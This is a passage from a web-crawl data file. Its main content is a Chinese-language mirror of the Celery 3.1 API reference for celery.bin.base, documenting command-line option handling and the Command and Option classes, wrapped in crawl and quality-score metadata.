146444, 146531, 146623, 146710, 146775, 146857, 146884, 146885, 146888, 146928, 146929, 146956, 146975, 146985, 146999, 147026, 147060, 147142, 147231, 147319, 147403, 147471, 147511, 147538, 147557, 147589, 147599, 147613, 147627, 147646, 147673, 147707, 147741, 147787, 147810, 147813, 147836, 147840, 147863, 147866, 147889, 147893, 147916, 147919, 147921, 147944, 147955, 148036, 148126, 148220, 148221, 148224, 148320, 148370, 148410, 148437, 148447, 148466, 148480, 148507, 148541, 148626, 148706, 148791, 148881, 148964, 149055, 149134, 149191, 149192, 149232, 149233, 149234, 149319, 149398, 149479, 149572, 149666, 149752, 149836, 149928, 150007, 150089, 150185, 150276, 150374, 150379, 150458, 150553, 150582, 150628, 150674, 150720, 150731, 150749, 150779, 150803, 150822, 150823, 150826, 150841, 150925, 151000, 151061, 151135, 151222, 151241, 151315, 151398, 151475, 151561, 151646, 151695, 151775, 151856, 151940, 152021, 152105, 152191, 152274, 152275, 152352, 152353, 152354, 152435, 152455, 152456, 152525, 152526, 152527, 152604, 152693, 152780, 152790, 152864, 152948, 153032, 153098, 153172, 153261, 153277, 153278, 153352, 153426, 153502, 153524, 153602, 153691, 153692, 153695, 153778, 153857, 153900, 153978, 154065, 154147, 154235, 154322, 154411, 154497, 154549, 154573, 154664, 154754, 154822, 154894, 154937, 154983, 155029, 155075, 155086, 155104, 155122, 155154, 155178, 155197, 155212, 155286, 155371, 155454, 155537, 155620, 155691, 155780, 155862, 155951, 156041, 156081, 156165, 156254, 156319, 156403, 156489, 156572, 156662, 156747, 156806, 156807, 156810, 156892, 156964, 157053, 157140, 157226, 157289, 157370, 157445, 157454, 157538, 157630, 157667, 157668, 157722, 157723, 157724, 157732, 157811, 157897, 157986, 158065, 158149, 158236, 158289, 158372, 158457, 158530, 158611, 158697, 158782, 158793, 158798, 158804, 158812, 158840, 158924, 159015, 159107, 159193, 159269, 159356, 159406, 159485, 159574, 159647, 159648, 159651, 159732, 159819, 159904, 159987, 160036, 160119, 160205, 160297, 160382, 160472, 160561, 160648, 160735, 160803, 160831, 160836, 160884, 160892, 160950, 160951, 160956, 161004, 161012, 161070, 161148, 161234, 161321, 161407, 161496, 161580, 161668, 161764, 161850, 161864, 161882, 161955, 162018, 162066, 162144, 162158, 162221, 162297, 162341, 162427, 162516, 162607, 162608, 162611, 162697, 162743, 162744, 162767, 162768, 162769, 162847, 162935, 163024, 163114, 163200, 163240, 163323, 163409, 163494, 163584, 163653, 163669, 163703, 163784, 163870, 163954, 164033, 164111, 164194, 164258, 164341, 164429, 164515, 164602, 164609, 164631, 164717, 164744, 164830, 164918, 164999, 165087, 165177, 165210, 165234, 165315, 165402, 165492, 165493, 165496, 165579, 165589, 165606, 165690, 165773, 165844, 165924, 166011, 166026, 166061, 166144, 166228, 166315, 166398, 166468, 166532, 166612, 166695, 166776, 166866, 166947, 167032, 167124, 167146, 167176, 167260, 167349, 167359, 167360, 167390, 167391, 167392, 167473, 167560, 167647, 167731, 167732, 167735, 167791, 167869, 167957, 168044, 168129, 168173, 168253, 168320, 168331, 168416, 168442, 168520, 168601, 168681, 168772, 168803, 168882, 168971, 169054, 169061, 169062, 169128, 169129, 169130, 169214, 169241, 169257, 169344, 169433, 169490, 169511, 169548, 169635, 169722, 169771, 169859, 169947, 170038, 170093, 170094, 170146, 170147, 170148, 170229, 170318, 170343, 170344, 170347, 170356, 170364, 170372, 170380, 170386, 170387, 170451, 170452, 170453, 170531, 170618, 170694, 170785, 170874, 170959, 171045, 171131, 171222, 171242, 171303, 171389, 171475, 171517, 171518, 171585, 171586, 171587, 171670, 171756, 171836, 171923, 172008, 172097, 172138, 172225, 172308, 172397, 172424, 172471, 172472, 172475, 172532, 172558, 172638, 172724, 172813, 172903, 172993, 173075, 173168, 173251, 173337, 173423, 173428, 173498, 173512, 173590, 173672, 173757, 173834, 173889, 173890, 173975, 173976, 173977, 174055, 174095, 174106, 174188, 174256, 174334, 174384, 174456, 174464, 174529, 174610, 174692, 174774, 174775, 174778, 174851, 174931, 174932, 175019, 175042, 175118, 175179, 175249, 175333, 175382, 175450, 175536, 175543, 175622, 175710, 175795, 175836, 175916, 175990, 176067, 176149, 176233, 176281, 176302, 176388, 176475, 176544, 176623, 176710, 176756, 176841, 176922, 176999, 177065, 177074, 177075, 177078, 177123, 177167, 177216, 177297, 177372, 177378, 177458, 177467, 177544, 177626, 177711, 177774, 177850, 177934, 178016, 178095, 178168, 178186, 178221, 178270, 178347, 178443, 178530, 178623, 178710, 178791, 178831, 178870, 178950, 178955, 178979, 179061, 179149, 179236, 179289, 179379, 179463, 179546, 179622, 179701, 179791, 179869, 179890, 179940, 179943, 179974, 180060, 180146, 180230, 180314, 180394, 180471, 180557, 180636, 180720, 180802, 180882, 180965, 181057, 181064, 181149, 181236, 181322, 181388, 181389, 181392, 181448, 181519, 181607, 181695, 181783, 181804, 181876, 181964, 182043, 182129, 182210, 182297, 182376, 182458, 182544, 182622, 182709, 182798, 182882, 182969, 183053, 183063, 183143, 183229, 183310, 183396, 183446, 183529, 183614, 183700, 183790, 183874, 183962, 183972, 183973, 183994, 183995, 184028, 184029, 184030, 184112, 184119, 184205, 184253, 184339, 184368, 184369, 184372, 184462, 184483, 184571, 184656, 184679, 184680, 184727, 184728, 184729, 184819, 184904, 184987, 185007, 185020, 185093, 185182, 185273, 185357, 185399, 185480, 185563, 185640, 185668, 185748, 185827, 185904, 185941, 186017, 186094, 186170, 186250, 186326, 186402, 186478, 186556, 186628, 186710, 186787, 186867, 186951, 186989, 186990, 187072, 187073, 187074, 187162, 187163, 187166, 187252, 187291, 187324, 187404, 187490, 187571, 187659, 187744, 187825, 187913, 188000, 188061, 188067, 188144, 188233, 188291, 188373, 188459, 188543, 188625, 188700, 188781, 188868, 188919, 188960, 189042, 189131, 189221, 189301, 189385, 189470, 189551, 189552, 189638, 189639, 189640, 189725, 189802, 189887, 189888, 189891, 189973, 189986, 189987, 190039, 190040, 190041, 190123, 190197, 190210, 190269, 190305, 190340, 190364, 190449, 190542, 190634, 190719, 190776, 190807, 190885, 190971, 191064, 191140, 191230, 191252, 191333, 191414, 191504, 191561, 191593, 191658, 191691, 191767, 191813, 191814, 191817, 191901, 191985, 192071, 192087, 192100, 192155, 192201, 192212, 192276, 192294, 192326, 192382, 192468, 192559, 192650, 192674, 192754, 192837, 192884, 192963, 193054, 193141, 193193, 193194, 193230, 193231, 193232, 193307, 193397, 193487, 193573, 193662, 193680, 193762, 193853, 193935, 194024, 194116, 194205, 194295, 194328, 194329, 194332, 194372, 194458, 194546, 194631, 194694, 194724, 194802, 194811, 194882, 194969, 195061, 195152, 195242, 195274, 195350, 195434, 195520, 195606, 195692, 195782, 195849, 195930, 195996, 196028, 196101, 196186, 196220, 196281, 196294, 196353, 196396, 196468, 196492, 196511, 196592, 196671, 196758, 196770, 196783, 196789, 196799, 196804, 196807, 196814, 196825, 196834, 196835, 196838, 196851, 196862, 196945, 197036, 197123, 197188, 197263, 197352, 197443, 197525, 197575, 197654, 197733, 197820, 197901, 197908, 197909, 197939, 197940, 197941, 198023, 198113, 198124, 198161, 198238, 198328, 198417, 198437, 198517, 198602, 198687, 198763, 198853, 198936, 198973, 199057, 199141, 199229, 199314, 199402, 199489, 199518, 199605, 199691, 199735, 199736, 199739, 199801, 199884, 199927, 200017, 200109, 200196, 200197, 200283, 200368, 200459, 200546, 200637, 200727, 200756, 200838, 200922, 200932, 200971, 200984, 201041, 201083, 201105, 201118, 201137, 201159, 201240, 201330, 201418, 201472, 201511, 201524, 201581, 201609, 201651, 201705, 201727, 201792, 201805, 201851, 201870, 201930, 201952, 202015, 202105, 202194, 202281, 202313, 202314, 202317, 202399, 202481, 202533, 202620, 202699, 202774, 202859, 202890, 202891, 202974, 203065, 203154, 203242, 203326, 203361, 203433, 203446, 203500, 203539, 203561, 203571, 203593, 203606, 203671, 203684, 203722, 203736, 203758, 203795, 203841, 203927, 204013, 204080, 204132, 204204, 204286, 204374, 204459, 204547, 204636, 204716, 204801, 204880, 204956, 205025, 205111, 205130, 205131, 205134, 205221, 205314, 205394, 205472, 205473, 205545, 205546, 205547, 205560, 205614, 205641, 205674, 205713, 205735, 205745, 205767, 205780, 205845, 205858, 205885, 205940, 205954, 205976, 206013, 206059, 206146, 206238, 206333, 206399, 206480, 206571, 206664, 206745, 206835, 206924, 207011, 207027, 207099, 207112, 207152, 207179, 207227, 207266, 207288, 207298, 207320, 207333, 207398, 207411, 207438, 207493, 207507, 207529, 207530, 207533, 207570, 207616, 207695, 207749, 207750, 207789, 207790, 207791, 207853, 207934, 208025, 208115, 208138, 208210, 208223, 208263, 208311, 208350, 208360, 208382, 208395, 208460, 208481, 208536, 208550, 208587, 208633, 208718, 208808, 208830, 208905, 208992, 209074, 209163, 209252, 209265, 209328, 209329, 209332, 209417, 209495, 209579, 209661, 209711, 209794, 209883, 209967, 209983, 210055, 210068, 210108, 210156, 210166, 210188, 210201, 210272, 210293, 210323, 210337, 210374, 210420, 210501, 210588, 210679, 210763, 210827, 210913, 211007, 211044, 211129, 211213, 211301, 211387, 211472, 211557, 211647, 211732, 211819, 211899, 211975, 212056, 212088, 212168, 212257, 212342, 212419, 212506, 212507, 212510, 212601, 212628, 212711, 212793, 212879, 212966, 212975, 212976, 213030, 213031, 213032, 213113, 213202, 213291, 213373, 213417, 213496, 213555, 213608, 213683, 213768, 213856, 213865, 213936, 214013, 214099, 214181, 214270, 214355, 214439, 214488, 214573, 214588, 214669, 214758, 214844, 214932, 214998, 215077, 215163, 215257, 215345, 215433, 215503, 215504, 215507, 215590, 215633, 215707, 215727, 215748, 215770, 215791, 215865, 215952, 216042, 216127, 216208, 216297, 216379, 216463, 216557, 216645, 216718, 216739, 216819, 216908, 216999, 217090, 217168, 217251, 217342, 217360, 217443, 217533, 217566, 217617, 217688, 217696, 217700, 217781, 217868, 217953, 218043, 218134, 218214, 218306, 218395, 218408, 218431, 218508, 218599, 218681, 218682, 218685, 218776, 218868, 218957, 219025, 219111, 219148, 219149, 219200, 219201, 219202, 219286, 219373, 219459, 219540, 219630, 219721, 219795, 219801, 219884, 219966, 220054, 220141, 220192, 220270, 220359, 220446, 220535, 220622, 220711, 220796, 220879, 220962, 221050, 221137, 221226, 221306, 221347, 221429, 221482, 221566, 221652, 221711, 221796, 221878, 221879, 221882, 221964, 222042, 222124, 222205, 222253, 222254, 222304, 222305, 222306, 222378, 222391, 222464, 222518, 222539, 222558, 222563, 222607, 222671, 222672, 222721, 222722, 222723, 222790, 222846, 222847, 222891, 222892, 222966, 222985, 223009, 223077, 223098, 223144, 223161, 223162, 223170, 223198, 223199, 223208, 223249, 223289, 223332, 223343, 223410, 223479, 223562, 223638, 223711, 223794, 223885, 223970, 224056, 224139, 224167, 224168, 224172, 224211, 224292, 224369, 224459, 224549, 224633, 224724, 224732, 224798, 224883, 224967, 225032, 225115, 225125, 225204, 225293, 225382, 225447, 225534, 225620, 225698, 225779, 225871, 225963, 226059, 226142, 226236, 226321, 226401, 226486, 226577, 226663, 226753, 226826, 226846, 226925, 227012, 227032, 227055, 227134, 227152, 227179, 227266, 227282, 227310, 227311, 227315, 227404, 227421, 227422, 227463, 227464, 227465, 227547, 227636, 227643, 227731, 227784, 227869, 227883, 227903, 227985, 228075, 228144, 228176, 228253, 228265, 228343, 228423, 228509, 228598, 228628, 228711, 228721, 228804, 228814, 228897, 228907, 228908, 228941, 228942, 228943, 229028, 229098, 229174, 229250, 229340, 229392, 229457, 229458, 229462, 229546, 229604, 229605, 229634, 229635, 229636, 229718, 229805, 229880, 229907, 229991, 230080, 230140, 230212, 230295, 230329, 230337, 230420, 230502, 230583, 230672, 230766, 230847, 230848, 230895, 230896, 230897, 230910, 230971, 231036, 231052, 231085, 231128, 231170, 231210, 231257, 231326, 231398, 231471, 231492, 231513, 231537, 231555, 231638, 231730, 231819, 231910, 231956, 232038, 232124, 232125, 232129, 232220, 232311, 232375, 232458, 232551, 232612, 232698, 232763, 232794, 232824, 232905, 232990, 233082, 233170, 233255, 233344, 233429, 233514, 233528, 233607, 233702, 233754, 233832, 233914, 233996, 233997, 234023, 234024, 234025, 234111, 234163, 234224, 234309, 234391, 234455, 234537, 234628, 234718, 234787, 234867, 234952, 235034, 235109, 235110, 235114, 235180, 235265, 235300, 235340, 235427, 235510, 235544, 235552, 235635, 235729, 235817, 235905, 235928, 235966, 235979, 236000, 236036, 236072, 236112, 236163, 236215, 236240, 236272, 236318, 236337, 236406, 236466, 236525, 236526, 236537, 236620, 236631, 236713, 236736, 236824, 236844, 236932, 237015, 237058, 237132, 237216, 237304, 237391, 237476, 237558, 237625, 237626, 237630, 237713, 237723, 237795, 237874, 237957, 238040, 238128, 238217, 238296, 238386, 238467, 238500, 238509, 238594, 238610, 238611, 238635, 238636, 238637, 238717, 238811, 238897, 238983, 239036, 239118, 239205, 239295, 239390, 239474, 239555, 239643, 239652, 239734, 239827, 239915, 240002, 240091, 240178, 240261, 240345, 240394, 240478, 240561, 240647, 240734, 240735, 240739, 240821, 240907, 240915, 240996, 241082, 241163, 241251, 241301, 241379, 241459, 241545, 241631, 241691, 241709, 241722, 241745, 241778, 241819, 241854, 241888, 241922, 241957, 242013, 242043, 242092, 242164, 242202, 242231, 242294, 242335, 242373, 242407, 242486, 242560, 242649, 242727, 242812, 242896, 242975, 243060, 243140, 243224, 243296, 243382, 243467, 243511, 243596, 243680, 243681, 243685, 243764, 243806, 243883, 243966, 244050, 244132, 244206, 244250, 244336, 244357, 244358, 244389, 244390, 244391, 244476, 244560, 244645, 244734, 244816, 244826, 244904, 244988, 245077, 245162, 245239, 245248, 245330, 245380, 245381, 245411, 245412, 245424, 245506, 245589, 245598, 245672, 245681, 245753, 245833, 245844, 245926, 245962, 245963, 245967, 246052, 246133, 246205, 246279, 246333, 246413, 246508, 246519, 246525, 246608, 246629, 246696, 246781, 246865, 246881, 246965, 247022, 247109, 247194, 247273, 247354, 247390, 247391, 247403, 247446 ] }
{ "red_pajama_v2": { "ccnet_original_length": 247446, "ccnet_original_nlines": 4368, "rps_doc_curly_bracket": 0.000004040000021632295, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.11415226012468338, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.015027260407805443, "rps_doc_frac_lines_end_with_ellipsis": 0.002517740009352565, "rps_doc_frac_no_alph_words": 0.18275775015354156, "rps_doc_frac_unique_words": 0.11262606829404831, "rps_doc_mean_word_length": 5.251883029937744, "rps_doc_num_sentences": 2292, "rps_doc_symbol_to_word_ratio": 0.002726469887420535, "rps_doc_unigram_entropy": 6.402307033538818, "rps_doc_word_count": 39165, "rps_doc_frac_chars_dupe_10grams": 0.021094849333167076, "rps_doc_frac_chars_dupe_5grams": 0.1098303273320198, "rps_doc_frac_chars_dupe_6grams": 0.06365404278039932, "rps_doc_frac_chars_dupe_7grams": 0.04288005828857422, "rps_doc_frac_chars_dupe_8grams": 0.031270358711481094, "rps_doc_frac_chars_dupe_9grams": 0.023866010829806328, "rps_doc_frac_chars_top_2gram": 0.00910107046365738, "rps_doc_frac_chars_top_3gram": 0.004375520162284374, "rps_doc_frac_chars_top_4gram": 0.002066219924017787, "rps_doc_books_importance": -22275.09765625, "rps_doc_books_importance_length_correction": -22275.09765625, "rps_doc_openwebtext_importance": -12726.6806640625, "rps_doc_openwebtext_importance_length_correction": -12726.6806640625, "rps_doc_wikipedia_importance": -10381.1982421875, "rps_doc_wikipedia_importance_length_correction": -10381.1982421875 }, "fasttext": { "dclm": 0.8310752511024475, "english": 0.0012775399954989552, "fineweb_edu_approx": 1.660175085067749, "eai_general_math": 0.0005441299872472882, "eai_open_web_math": 0.42052745819091797, "eai_web_code": 0.8009151816368103 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "551.48", "labels": { "level_1": "Science and Natural history", "level_2": "Geology and Earth sciences", "level_3": "Physical geology and Geodynamics" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,287,393,829,180,266,000
你正在阅读 Celery 3.1 的文档。开发版本文档见: 此处. celery.bin.base Preload Options These options are supported by all commands, and usually parsed before command-specific arguments. -A, --app app instance to use (e.g. module.attr_name) -b, --broker url to broker. default is ‘amqp://guest@localhost//’ --loader name of custom loader class to use. --config Name of the configuration module Daemon Options These options are supported by commands that can detach into the background (daemon). They will be present in any command that also has a –detach option. -f, --logfile Path to log file. If no logfile is specified, stderr is used. --pidfile Optional file used to store the process pid. The program will not start if this file already exists and the pid is still alive. --uid User id, or user name of the user to run as after detaching. --gid Group id, or group name of the main group to change to after detaching. --umask Effective umask of the process after detaching. Default is 0. --workdir Optional directory to change to after detaching. exception celery.bin.base.Error(reason, status=None) status = 1 exception celery.bin.base.UsageError(reason, status=None) status = 64 class celery.bin.base.Extensions(namespace, register) add(cls, name) load() class celery.bin.base.HelpFormatter(indent_increment=2, max_help_position=24, width=None, short_first=1)[源代码] format_description(description)[源代码] format_epilog(epilog)[源代码] class celery.bin.base.Command(app=None, get_app=None, no_color=False, stdout=None, stderr=None, quiet=False, on_error=None, on_usage_error=None)[源代码] Base class for command-line applications. 参数: • app – The current app. • get_app – Callable returning the current app if no app provided. exception Error(reason, status=None) status = 1 Command.Parser OptionParser 的别名 exception Command.UsageError(reason, status=None) status = 64 Command.args = u'' Command.check_args(args)[源代码] Command.create_parser(prog_name, command=None)[源代码] Command.description = u'' Command.die(msg, status=1)[源代码] Command.doc = None Command.early_version(argv)[源代码] Command.enable_config_from_cmdline = False Command.epilog = None Command.error(s) Command.execute_from_commandline(argv=None)[源代码] Execute application from command-line. 参数:argv – The list of command-line arguments. Defaults to sys.argv. Command.expanduser(value)[源代码] Command.find_app(app)[源代码] Command.get_cls_by_name(name, imp=<function import_from_cwd at 0xb08d87c>) Command.get_options()[源代码] Get supported command-line options. Command.handle_argv(prog_name, argv, command=None)[源代码] Parse command-line arguments from argv and dispatch to run(). 参数: • prog_name – The program name (argv[0]). • argv – Command arguments. Exits with an error message if supports_args is disabled and argv contains positional arguments. Command.leaf = True Command.maybe_patch_concurrency(argv=None)[源代码] Command.namespace = u'celery' Command.node_format(s, nodename, **extra) Command.on_concurrency_setup()[源代码] Command.on_error(exc) Command.on_usage_error(exc) Command.option_list = () Command.out(s, fh=None) Command.parse_doc(doc)[源代码] Command.parse_options(prog_name, arguments, command=None)[源代码] Parse the available options. Command.parse_preload_options(args)[源代码] Command.preload_options = (<Option at 0xd0d4eec: -A/--app>, <Option at 0xd0d47cc: -b/--broker>, <Option at 0xd0d4e4c: --loader>, <Option at 0xd0d424c: --config>, <Option at 0xd0d42cc: --workdir>, <Option at 0xd09798c: -C/--no-color>, <Option at 0xd09754c: -q/--quiet>) Command.prepare_args(options, args)[源代码] Command.prepare_parser(parser)[源代码] Command.preparse_options(args, options) Command.pretty(n) Command.pretty_dict_ok_error(n) Command.pretty_list(n) Command.process_cmdline_config(argv)[源代码] Command.prog_name = u'celery' Command.respects_app_option = True Command.run(*args, **options)[源代码] This is the body of the command called by handle_argv(). Command.run_from_argv(prog_name, argv=None, command=None)[源代码] Command.say_chat(direction, title, body=u'') Command.say_remote_command_reply(replies) Command.setup_app_from_commandline(argv)[源代码] Command.show_body = True Command.show_reply = True Command.simple_format(s, **extra) Command.supports_args = True Command.symbol_by_name(name, imp=<function import_from_cwd at 0xb08d87c>)[源代码] Command.usage(command)[源代码] Command.verify_args(given, _index=0) Command.version = '3.1.7 (Cipater)' Command.with_pool_option(argv)[源代码] Return tuple of (short_opts, long_opts) if the command supports a pool argument, and used to monkey patch eventlet/gevent environments as early as possible. E.g:: has_pool_option = ([‘-P’], [‘–pool’]) class celery.bin.base.Option(*opts, **attrs) Instance attributes: _short_opts : [string] _long_opts : [string] action : string type : string dest : string default : any nargs : int const : any choices : [string] callback : function callback_args : (any*) callback_kwargs : { string : any } help : string metavar : string ACTIONS = ('store', 'store_const', 'store_true', 'store_false', 'append', 'append_const', 'count', 'callback', 'help', 'version') ALWAYS_TYPED_ACTIONS = ('store', 'append') ATTRS = ['action', 'type', 'dest', 'default', 'nargs', 'const', 'choices', 'callback', 'callback_args', 'callback_kwargs', 'help', 'metavar'] CHECK_METHODS = [<function _check_action at 0x91148ec>, <function _check_type at 0x9114924>, <function _check_choice at 0x911495c>, <function _check_dest at 0x9114994>, <function _check_const at 0x91149cc>, <function _check_nargs at 0x9114a04>, <function _check_callback at 0x9114a3c>] CONST_ACTIONS = ('store_const', 'append_const') STORE_ACTIONS = ('store', 'store_const', 'store_true', 'store_false', 'append', 'append_const', 'count') TYPED_ACTIONS = ('store', 'append', 'callback') TYPES = ('string', 'int', 'long', 'float', 'complex', 'choice') TYPE_CHECKER = {'int': <function check_builtin at 0x9114764>, 'float': <function check_builtin at 0x9114764>, 'complex': <function check_builtin at 0x9114764>, 'long': <function check_builtin at 0x9114764>, 'choice': <function check_choice at 0x911479c>} check_value(opt, value) convert_value(opt, value) get_opt_string() process(opt, value, values, parser) take_action(action, dest, opt, value, values, parser) takes_value() celery.bin.base.daemon_options(default_pidfile=None, default_logfile=None)[源代码] 上一个主题 celery.worker.strategy 下一个主题 celery.bin.celery 本页
{ "url": "http://docs.jinkan.org/docs/celery/reference/celery.bin.base.html", "source_domain": "docs.jinkan.org", "snapshot_id": "crawl=CC-MAIN-2019-39", "warc_metadata": { "Content-Length": "45080", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:D2VKQS7QOXPSP6O3VKHJJBDDUDOB5EX5", "WARC-Concurrent-To": "<urn:uuid:c8b8a22d-17f2-420c-9bb0-23ea65535ce2>", "WARC-Date": "2019-09-23T11:56:39Z", "WARC-IP-Address": "162.159.210.19", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:ASUQNDK77GCUC4RSKGDWORWFXXTWD5LQ", "WARC-Record-ID": "<urn:uuid:9d48b16d-61a9-45a4-a309-7baa4c32f252>", "WARC-Target-URI": "http://docs.jinkan.org/docs/celery/reference/celery.bin.base.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:bffbd6b7-b946-4bb3-8452-75532497b52f>" }, "warc_info": "isPartOf: CC-MAIN-2019-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-68.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 34, 35, 51, 52, 68, 69, 168, 169, 179, 180, 224, 225, 238, 239, 292, 293, 302, 303, 339, 340, 349, 350, 383, 384, 399, 400, 554, 555, 569, 570, 632, 633, 643, 644, 689, 690, 773, 774, 780, 781, 842, 843, 849, 850, 922, 923, 931, 932, 994, 995, 1005, 1006, 1055, 1056, 1109, 1120, 1178, 1190, 1244, 1259, 1266, 1376, 1413, 1440, 1590, 1591, 1633, 1634, 1638, 1665, 1734, 1771, 1782, 1797, 1798, 1815, 1816, 1866, 1878, 1897, 1927, 1979, 2005, 2037, 2056, 2089, 2132, 2154, 2171, 2220, 2221, 2260, 2261, 2329, 2360, 2387, 2462, 2489, 2490, 2526, 2527, 2583, 2584, 2646, 2647, 2651, 2695, 2725, 2726, 2823, 2824, 2844, 2892, 2922, 2964, 3000, 3022, 3050, 3075, 3099, 3127, 3190, 3191, 3220, 3221, 3262, 3531, 3572, 3608, 3648, 3666, 3698, 3721, 3763, 3793, 3828, 3863, 3864, 3921, 3922, 3985, 4030, 4072, 4118, 4143, 4169, 4203, 4232, 4311, 4339, 4376, 4412, 4448, 4449, 4606, 4607, 4613, 4651, 4696, 4717, 4718, 4763, 4764, 4974, 4975, 5105, 5148, 5290, 5576, 5624, 5729, 5777, 5841, 6096, 6120, 6146, 6163, 6199, 6253, 6267, 6347, 6348, 6354, 6355, 6378, 6379, 6385, 6386, 6404, 6405 ], "line_end_idx": [ 34, 35, 51, 52, 68, 69, 168, 169, 179, 180, 224, 225, 238, 239, 292, 293, 302, 303, 339, 340, 349, 350, 383, 384, 399, 400, 554, 555, 569, 570, 632, 633, 643, 644, 689, 690, 773, 774, 780, 781, 842, 843, 849, 850, 922, 923, 931, 932, 994, 995, 1005, 1006, 1055, 1056, 1109, 1120, 1178, 1190, 1244, 1259, 1266, 1376, 1413, 1440, 1590, 1591, 1633, 1634, 1638, 1665, 1734, 1771, 1782, 1797, 1798, 1815, 1816, 1866, 1878, 1897, 1927, 1979, 2005, 2037, 2056, 2089, 2132, 2154, 2171, 2220, 2221, 2260, 2261, 2329, 2360, 2387, 2462, 2489, 2490, 2526, 2527, 2583, 2584, 2646, 2647, 2651, 2695, 2725, 2726, 2823, 2824, 2844, 2892, 2922, 2964, 3000, 3022, 3050, 3075, 3099, 3127, 3190, 3191, 3220, 3221, 3262, 3531, 3572, 3608, 3648, 3666, 3698, 3721, 3763, 3793, 3828, 3863, 3864, 3921, 3922, 3985, 4030, 4072, 4118, 4143, 4169, 4203, 4232, 4311, 4339, 4376, 4412, 4448, 4449, 4606, 4607, 4613, 4651, 4696, 4717, 4718, 4763, 4764, 4974, 4975, 5105, 5148, 5290, 5576, 5624, 5729, 5777, 5841, 6096, 6120, 6146, 6163, 6199, 6253, 6267, 6347, 6348, 6354, 6355, 6378, 6379, 6385, 6386, 6404, 6405, 6407 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6407, "ccnet_original_nlines": 190, "rps_doc_curly_bracket": 0.0006243200041353703, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.11250873655080795, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.009783370420336723, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.4661076068878174, "rps_doc_frac_unique_words": 0.5548281669616699, "rps_doc_mean_word_length": 7.836333751678467, "rps_doc_num_sentences": 119, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.488426685333252, "rps_doc_word_count": 611, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.04720133915543556, "rps_doc_frac_chars_dupe_6grams": 0.03717627003788948, "rps_doc_frac_chars_dupe_7grams": 0.023391809314489365, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.01169591024518013, "rps_doc_frac_chars_top_3gram": 0.01837928034365177, "rps_doc_frac_chars_top_4gram": 0.025898080319166183, "rps_doc_books_importance": -740.0679321289062, "rps_doc_books_importance_length_correction": -740.0679321289062, "rps_doc_openwebtext_importance": -400.2446594238281, "rps_doc_openwebtext_importance_length_correction": -400.2446594238281, "rps_doc_wikipedia_importance": -321.7705383300781, "rps_doc_wikipedia_importance_length_correction": -321.7705383300781 }, "fasttext": { "dclm": 0.06595242023468018, "english": 0.4455379545688629, "fineweb_edu_approx": 2.4173319339752197, "eai_general_math": 0.47145766019821167, "eai_open_web_math": 0.07047706842422485, "eai_web_code": 0.985838770866394 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.452", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" 